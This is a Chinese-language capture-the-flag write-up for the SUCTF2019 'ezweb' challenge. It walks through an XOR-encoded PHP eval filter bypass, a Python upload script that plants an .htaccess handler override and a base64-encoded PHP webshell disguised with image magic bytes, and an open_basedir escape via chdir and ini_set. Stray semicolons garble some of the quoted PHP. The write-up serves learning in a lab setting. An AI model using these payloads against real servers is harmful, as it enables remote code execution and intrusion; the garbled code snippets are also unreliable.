SUCTF2019 ezweb
BUU平台上复现题目,主要学习了一下异或绕过的操作还踩了一些奇奇怪怪的坑,题目共三层,层层绕过搞了我好几天,还是太菜了
第一层
第一层源码
$hhh = @$_GET['_'];;
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F];+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
PS:不可见字符全部以十六进制编码的方式进行了展示,复现时需注意(因为url编码hexo要报错)
PHP特性”Use of undefined constant”会将代码中没有引号的字符默认为字符串,因此我们$_GET过去的数据也都被认为是字符串
又ASCII大于0x7F的字符都会被认为是字符串,因此在过滤了全部字母和数字的情况下,我们还可以用不可见字符进行异或或者取反来得到需要的内容
这里取反也挂了,所以用异或,同时异或%FF就等于取反,并且%FF还相对节约了一个字符,如果可行也不需要太麻烦的fuzz测试去找怎么异或,思路是再搞一个$_GET来绕过之前的一大堆限制,这里_GET的参数要是之前用来异或过的内容,节约字符串
$_GET[];的中括号也挂了,这个用大括号直接替代也没有问题,构造出如下payload并成功执行,第一层就算过了?_=${0xfe0xfe0xfe0xfe^0xa10xb90xbb0xaa}{0xfe}();&0xfe=phpinfo
这里整体payload作为被默认作为了一个字符串进入eval函数,而eval函数将整个字符串作为代码执行,其中ASCII大于0x7f的不可见字符又会被认作字符串进行异或,最终得出我们想要的结果
实际上异或能凑的不同字符数这么少不容易,如果不行就得fuzz所有组合眼睛看的去找了
第一个坑
wp中payload为?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=phpinfo
这里_GET也需用大括号括起来,因为eval在执行过程中,如果遇到了$符号,则直接将后续部分任务是变量名,这样我们就得到了一个名为${0xfe0xfe0xfe0xfe^0xa10xb90xbb0xaa}
的变量,不去计算异或,然后产生错误退出,添加大括号之后使得我们先执行大括号中的内容,将异或后的_GET拿了出来,才能得到正确的结果
第二个坑
本地测试eval($_GET['a'];);
时
当?a=$_GET[b]();&b=phpinfo
时能正常执行,而?a=$_GET[b];&b=phpinfo();
试了半天。。。。不会调试的我也太菜了。
就是当一个变量以$a()的形式出现的时候,PHP会认为它是一个函数,从而eval就会执行phpinfo();这个函数,如果我们以后者的方式进行执行,就只是一个$_GET[b];,得到了一个内容为phpinfo();
的字符串,存在$_GET这个全局变量里面
第二层
第一层过了之后可以执行的get_the_flag函数
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR'];);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"];)){
$tmp_name = $_FILES["file"];["tmp_name"];;
$name = $_FILES["file"];["name"];;
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
可以先看一下PHP版本,7+所以过滤<?之后<script>这种方法就绕不过去了,并且过滤了ph的后缀,利用htaccess绕过
需要手搓代码上传文件,知识盲区,网上抄了一个现成脚本
import requests
import base64
url = "http://b11cd486-9833-4bef-bf24-967205c05ada.node3.buuoj.cn/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();" \
"&%fe=get_the_flag"
htaccess = b"""#define width 1
#define height 1
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cc"
"""
# 把.cc解析为PHP,并且将上传的shell添加到末尾,base64编码绕过检测
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00" + base64.b64encode(b"<?php eval($_GET['c'];);?>")
# shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c];);</script>"
# 玄妙的字符可以绕过exif_imagetype,补的00用来base64解码,否则解码可能无法还原后面shell部分。字符串前面的b表示字符串为byte类型,为网络数据传输需要格式
files = [('file', ('.htaccess', htaccess, 'image/jpeg'))];
data = {"upload": "Submit"}
r = requests.post(url=url, data=data, files=files)
print(r.text)
files = [('file', ('shell.cc', shell, 'image/jpeg'))];
r = requests.post(url=url, data=data, files=files)
print(r.text)
第三层
open_basedir绕过
这个shell打上去之后就基本为所欲为,但是看phpinfo可以看到一个open_basedir的限制,直接用chdir加ini_set绕过chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
后记
这个题看记录是去年十月底左右开始写的,之后十一月份就开始忙srtp?还是期末?寒假浑浑噩噩到现在才开始继续学习,今天算是把之前欠下的补回来,总的来说,没好好学习呜呜呜,最近加油吧,时隔三个多月完全没看题,现在的我又是一个零基础菜逼了
参考文章
https://xz.aliyun.com/t/5677
https://www.smi1e.top/%E5%9B%BD%E8%B5%9Blove_math%E9%A2%98%E8%A7%A3/